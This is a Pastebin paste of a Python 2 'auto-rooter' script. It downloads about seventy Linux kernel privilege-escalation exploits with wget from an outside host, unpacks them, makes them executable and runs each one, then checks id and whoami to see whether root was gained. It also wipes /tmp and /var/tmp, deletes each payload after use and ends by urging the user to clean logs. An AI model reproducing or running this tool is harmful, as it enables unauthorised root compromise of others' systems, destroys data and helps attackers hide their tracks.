Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!usr/bin/env python
- import os, time
- print "[WARNING] I Am Not Taking Any Responsibility For Mis-Using The Script"
- print "[INFO] Clone Of Perl Script @http://kabooos.persiangig.com/r00t/r00t.pl"
- print "#"*100
- exploits = ['2.6.18-374.12.1.el5-2012', 'bru1.tar.gz', 'vmsplice-local-root-exploit', '44', '2.6.18-6-x86-2011', 'exp1', '2-1', '1-3', 'american-sign-language', '2.6.18-194', '13.py', '2.6.18-274-2011', '2.6.28-2011', '15200', '6', 'lenis.sh', 'exploit', '15150', '2.6.18-164-2010', '7', '18-5', '13x', '1', 'pwnkernel', 'full-nelson', '31', '2.6.34-2011Exploit2', '2-6-37', '7-2', '2.6.37-rc2', 'exp3', 'runx', '2.6.33', '2.6.37', '2.6.33-2011', '18', '.rar', 'bru2.tar.gz', 'rot', '1-2', 'exp2', 'gayros', '2.6.34-2011Exploit1.1', 'tivoli', '14', '3', '2.6.34-2011Exploit1', '5', '2.6.39-2012', '9', 'audit', '2-6-32-46-2011', '16-1', '36-rc1', '4', '15.sh', '7x', '1-4', '2.6.18-194.1-2010', '2', '16', 'z1d-2011', 'ubuntu', '8', '10', 'local-root-exploit-gayros', '2.6.18-194.2-2010', 'root1']
- os.system("rm -rf /tmp/*")
- os.system("rm -rf /var/tmp/*")
- ##\t __ ___ ___ _______ _______ __
- ##\t_/ |_ / | \ ____ _______ \ _ \ \ _ \_/ |_ ___________
- ##\t\ __\/ ~ \_/ __ \ \_ __ \/ /_\ \/ /_\ \ __\/ __ \_ __ \
- ##\t | | \ Y /\ ___/ | | \/\ \_/ \ \_/ \ | \ ___/| | \/
- ##\t |__| \___|_ / \___ > |__| \_____ /\_____ /__| \___ >__|
- ##\t \/ \/ \/ \/ \/
- ##\t[~] Coded By : Subir Sutradhar
- ##\t[~] Team : Computer Korner
- ##\t[~] Contact : c0d3gray[AT]gmail[DOT]com
- b0x = "0a0920205f5f20202020205f5f5f205f5f5f202020202020202020202020202020202020205f5f5f5f5f5f5f20205f5f5f5f5f5f5f2020205f5f202020202020202020202020202020200a095f2f20207c5f20202f2020207c2020205c2020205f5f5f5f2020205f5f5f5f5f5f5f205c2020205f20205c205c2020205f20205c5f2f20207c5f20205f5f5f5f5f5f5f5f5f5f5f200a095c2020205f5f5c2f202020207e202020205c5f2f205f5f205c20205c5f20205f5f205c2f20202f5f5c20205c2f20202f5f5c20205c2020205f5f5c2f205f5f205c5f20205f5f205c0a09207c20207c20205c2020202059202020202f5c20205f5f5f2f2020207c20207c205c2f5c20205c5f2f2020205c20205c5f2f2020205c20207c205c20205f5f5f2f7c20207c205c2f0a09207c5f5f7c2020205c5f5f5f7c5f20202f20205c5f5f5f20203e20207c5f5f7c202020205c5f5f5f5f5f20202f5c5f5f5f5f5f20202f5f5f7c20205c5f5f5f20203e5f5f7c2020200a0920202020202020202020202020205c2f202020202020205c2f20202020202020202020202020202020205c2f202020202020205c2f202020202020202020205c2f0a095b7e5d20436f646564204279203a205375626972205375747261646861720a095b7e5d205465616d20202020203a20436f6d7075746572204b6f726e65720a095b7e5d20436f6e7461637420203a2063306433677261795b41545d676d61696c5b444f545d636f6d0a095b7e5d204164617074656420416e6420446576656c6f7065642041205065726c205363726970740a2020202020202020202020202020"
- print b0x.decode('hex')
- print "#"*100
- print "\n"*2
- print "[INFO] Total r00t Exploits : "+str(len(exploits))+"\n"
- print "[INFO] Firing...(Press Ctrl+C 2 Times To Stop)\n"
- connectMe = "http://kabooos.persiangig.com/r00t/"
- buildGet = []
- for exploit in exploits:
- connectMeTo = connectMe + exploit
- buildGet.append(connectMeTo)
- for bullets in buildGet:
- try:
- if "tar" in bullets:
- getter = "wget "+bullets
- os.system(getter)
- print
- bull = bullets.split("/")
- untar = "tar xzf "+bull[-1]
- os.system(untar)
- print
- time.sleep(0.1)
- perm = "chmod 777 run"
- perm1 = "chmod 777 run.sh"
- os.system(perm)
- print
- os.system(perm1)
- print
- perm = "chmod u+x run"
- perm1 = "chmod u+x run.sh"
- os.system(perm)
- print
- os.system(perm1)
- os.system("./run")
- print
- os.system("./run.sh")
- print
- os.system("id")
- print
- os.system("whoami")
- print "\n[INFO] If You Are r00t, Press Ctrl+c"
- else:
- getter = "wget "+bullets
- os.system(getter)
- print
- bull = bullets.split("/")
- bull = bull[-1]
- perms = "chmod 777 "+bull
- os.system(perms)
- permss = "chmod u+x "+bull
- os.system(permss)
- print
- execute = "./"+bull
- os.system(execute)
- print "[INFO] Id Status ... "
- os.system("id")
- print
- print "[?] Who Am I ? "
- os.system("whoami")
- print "\n[INFO] If You Are r00t, Press Ctrl+c"
- print "\n[INFO] Firing NexT sHot.. Hold On"
- cleaner = "rm -rf "+bull
- os.system(cleaner)
- time.sleep(5)
- except KeyboardInterrupt,e:
- print "\n[INFO] tHe r00ter Stopped Attacking.."
- break
- except Exception,e:
- print "\n[INFO] "+e
- print
- print "5b7e5d20744164412e2e2046726f6d20436f6d7075746572204b6f726e6572205465616d205b7777772e636f6d70757465726b6f726e65722e626c6f6773706f742e636f6d5d"
- print "\n[INFO] DO NOT FORGET TO CLEAN YOUR LOGS"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement